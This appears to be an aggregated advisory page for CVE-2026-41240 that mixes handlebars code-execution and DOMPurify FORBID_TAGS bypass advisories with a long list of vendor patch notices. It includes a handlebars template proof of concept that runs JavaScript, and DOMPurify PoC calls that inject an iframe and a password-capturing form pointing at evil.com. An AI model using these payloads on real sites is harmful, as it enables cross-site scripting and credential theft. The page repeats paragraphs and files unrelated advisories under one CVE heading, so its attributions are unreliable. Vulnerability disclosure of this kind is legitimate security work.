CVE-2026-41240

Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a previous issue. This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).

Recommendation

Upgrade to version 3.0.8, 4.5.3 or later.

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.

Versions of handlebars prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).

The following template can be used to demonstrate the vulnerability:

	{{#with split as |a|}}
		{{pop (push "alert('Vulnerable Handlebars JS');")}}
		{{#with (concat (lookup join (slice 0 1)))}}
			{{#each (slice 2 3)}}
				{{#with (apply 0 a)}}
					{{.}}
				{{/with}}
			{{/each}}
		{{/with}}
	{{/with}}
{{/with}}```


## Recommendation

Upgrade to version 3.0.8, 4.5.2 or later.

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit c361baa added an early exit for FORBID_ATTR at line 1214:

/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
  return false;
}

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

if (
  !(
    EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
    EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -> short-circuits
  ) &&
  (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated
) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

const DOMPurify = createDOMPurify(window);

DOMPurify.sanitize(
  '<iframe src="https://evil.com"></iframe>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['iframe']
  }
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)

DOMPurify.sanitize(
  '<form action="https://evil.com/steal"><input name=password></form>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['form']
  }
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBID_ATTR which correctly wins:

DOMPurify.sanitize(
  '<p onclick="alert(1)">hello</p>',
  {
    ADD_ATTR: function(attr) { return true; },
    FORBID_ATTR: ['onclick']
  }
);
// Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:

/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
  // proceed to removal logic
}

This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef

Versions of handlebars prior to 4.0.14 are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.

Recommendation

For handlebars 4.1.x upgrade to 4.1.2 or later. For handlebars 4.0.x upgrade to 4.0.14 or later.

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.

TuxCare rebuilt handlebars to address 1 CVE. Fixed in 1.3.0-tuxcare.1.

TuxCare rebuilt handlebars to address 3 CVEs. Fixed in 1.0.12-tuxcare.2.

TuxCare rebuilt dompurify to address 6 CVEs. Fixed in 3.1.6-tuxcare.3.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.2.3-tuxcare.1.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.0.3-tuxcare.1.

TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 2.4.0-tuxcare.1.

TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 2.4.7-tuxcare.1.

TuxCare rebuilt dompurify to address 16 CVEs. Fixed in 2.4.0-tuxcare.1.

TuxCare rebuilt dompurify to address 14 CVEs. Fixed in 2.4.7-tuxcare.1.

TuxCare rebuilt dompurify to address 34 CVEs. Fixed in 3.0.3-tuxcare.1.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 2.0.8-tuxcare.3.

TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 2.3.3-tuxcare.3.

TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 3.3.3-tuxcare.3.

TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 3.2.6-tuxcare.3.

TuxCare rebuilt dompurify to address 13 CVEs. Fixed in 2.3.10-tuxcare.3.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.0.1-tuxcare.3.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.0.2-tuxcare.3.

TuxCare rebuilt dompurify to address 8 CVEs. Fixed in 3.0.8-tuxcare.3.

TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 3.0.9-tuxcare.3.

TuxCare rebuilt dompurify to address 7 CVEs. Fixed in 3.0.11-tuxcare.3.

TuxCare rebuilt dompurify to address 6 CVEs. Fixed in 3.1.0-tuxcare.3.

TuxCare rebuilt dompurify to address 8 CVEs. Fixed in 3.1.3-tuxcare.3.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.1.2-tuxcare.3.

TuxCare rebuilt dompurify to address 11 CVEs. Fixed in 3.1.1-tuxcare.3.

TuxCare rebuilt dompurify to address 8 CVEs. Fixed in 3.1.4-tuxcare.3.

Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.

Recommendation

Upgrade to version 3.0.8, 4.5.3 or later.

Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a previous issue. This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).

Recommendation

Upgrade to version 3.0.8, 4.5.3 or later.

These are all security issues fixed in the argocd-cli-3.4.3-1.1 package on the GA media of openSUSE Tumbleweed.

Root has patched CVE-2026-41240 in the dompurify package for Root:npm. Multiple fixed versions available.

Root has patched GHSA-2cf5-4w76-r9qv in the handlebars package for Root:npm. Multiple fixed versions available.

Root has patched GHSA-g9r4-xpmj-mj65 in the handlebars package for Root:npm. Multiple fixed versions available.

Root has patched GHSA-q2c6-c6pm-g3gh in the handlebars package for Root:npm. Multiple fixed versions available.

Root has patched GHSA-q42p-pg8m-cqh6 in the handlebars package for Root:npm. Multiple fixed versions available.